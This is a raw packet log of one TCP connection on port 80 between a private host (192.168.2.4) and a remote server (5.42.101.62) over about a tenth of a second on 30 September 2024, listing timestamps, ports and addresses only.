Sep 30, 2024 12:22:27.130147934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.132273912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.132340908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.134886980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.134902000 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.134939909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.134953976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.134980917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.135019064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.135020971 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.135035038 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.135057926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.135073900 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.150170088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.150201082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.150217056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.150232077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.150238991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.150249958 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.150259972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.150259972 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.150278091 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.150294065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.150443077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.150481939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.150484085 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.150521040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.150522947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.150537968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.150563955 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.150578976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.151078939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.151125908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.151160002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.151174068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.151195049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.151215076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.151349068 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.151403904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.151417017 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.151432037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.151458025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.153374910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.153439045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.157160044 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.157211065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.157222986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.157226086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.157241106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.157253981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.157280922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.158305883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.158356905 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.160094976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.160120010 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.160135984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.160145998 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.160152912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.160161018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.160182953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.160202026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.162081003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.162096977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.162113905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.162127018 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.162139893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.162153959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.163162947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.163177013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.163216114 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.163237095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.163275957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.165361881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.165375948 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.165417910 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.165430069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.165467978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.167346954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.167361021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.167402029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.167411089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.167421103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.167459011 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.169292927 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.169312954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.169327974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.169352055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.169363976 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.171262026 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.171279907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.171302080 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.171312094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.171324968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.171341896 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.173310995 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.173362017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.173365116 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.173378944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.173403978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.173418045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.174896002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.174911976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.174927950 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.174951077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.174968958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.176491976 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.176542997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.176565886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.176606894 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.176610947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.176649094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.178323984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.178340912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.178358078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.178369045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.178386927 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.178399086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.180082083 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.180097103 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.180114985 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.180125952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.180150986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.181567907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.181581974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.181622028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.181668043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.181711912 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.183612108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.183628082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.183646917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.183665037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.183679104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.184959888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.184974909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.184990883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.185008049 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.185034990 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.186489105 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.186518908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.186537981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.186553001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.186568022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.186640978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.188167095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.188183069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.188199043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.188224077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.188241005 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.189888954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.189919949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.189933062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.189940929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.189956903 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.189975977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.191092968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.191122055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.191144943 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.191154957 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.191170931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.191211939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.192418098 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.192461014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.192461967 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.192476034 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.192504883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.192529917 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.194401979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.194418907 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.194433928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.194463015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.194478989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.195172071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.195185900 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.195225000 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.195228100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.195234060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.195269108 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.196887970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.196904898 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.196922064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.196943045 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.196969032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.198112011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.198126078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.198148966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.198178053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.198178053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.198194027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.199480057 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.199508905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.199522018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.199537039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.199557066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.199563026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.200854063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.200870037 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.200886011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.200911999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.200936079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.202208996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.202235937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.202259064 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.202272892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.202287912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.202327967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.203551054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.203605890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.203613043 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.203625917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.203659058 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.203670979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.205076933 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.205128908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.205135107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.205163002 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.205172062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.205212116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.206777096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.206830025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.206836939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.206871033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.206881046 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.206919909 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.207468033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.207499027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.207524061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.207531929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.207535982 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.207580090 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.208956957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.208986998 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.209011078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.209022045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.209022999 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.209064007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.210118055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.210151911 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.210174084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.210186005 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.210197926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.210231066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.211473942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.211508036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.211529016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.211545944 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.211549997 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.211591959 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.212747097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.212780952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.212812901 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.212821960 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.212821960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.212861061 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.221359968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.221421003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.221442938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.221455097 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.221476078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.221493006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.221503019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.221528053 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.221538067 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.221563101 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.221571922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.221611977 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.221806049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.221839905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.221858025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.221874952 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.221880913 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.221914053 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.222179890 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.222213984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.222232103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.222248077 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.222251892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.222285032 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.222441912 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.222490072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.222507954 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.222543955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.222551107 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.222580910 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.222589016 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.222624063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237185955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237206936 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237224102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237241983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237257957 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237260103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237277031 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237282991 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237296104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237318039 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237487078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237528086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237786055 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237827063 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237838984 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237871885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237874031 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237909079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237931013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237946987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237965107 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237967014 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237979889 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.237981081 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.237998962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.238015890 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.238548994 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.238593102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.243963003 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.243992090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.244014978 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.244024992 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.244035006 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.244069099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.244081974 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.244100094 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.244118929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.244142056 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.244165897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.244182110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.244198084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.244204044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.244219065 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.244232893 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.248980045 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.248994112 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:27.249026060 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:27.249037981 CEST	52534	80	192.168.2.4	5.42.101.62
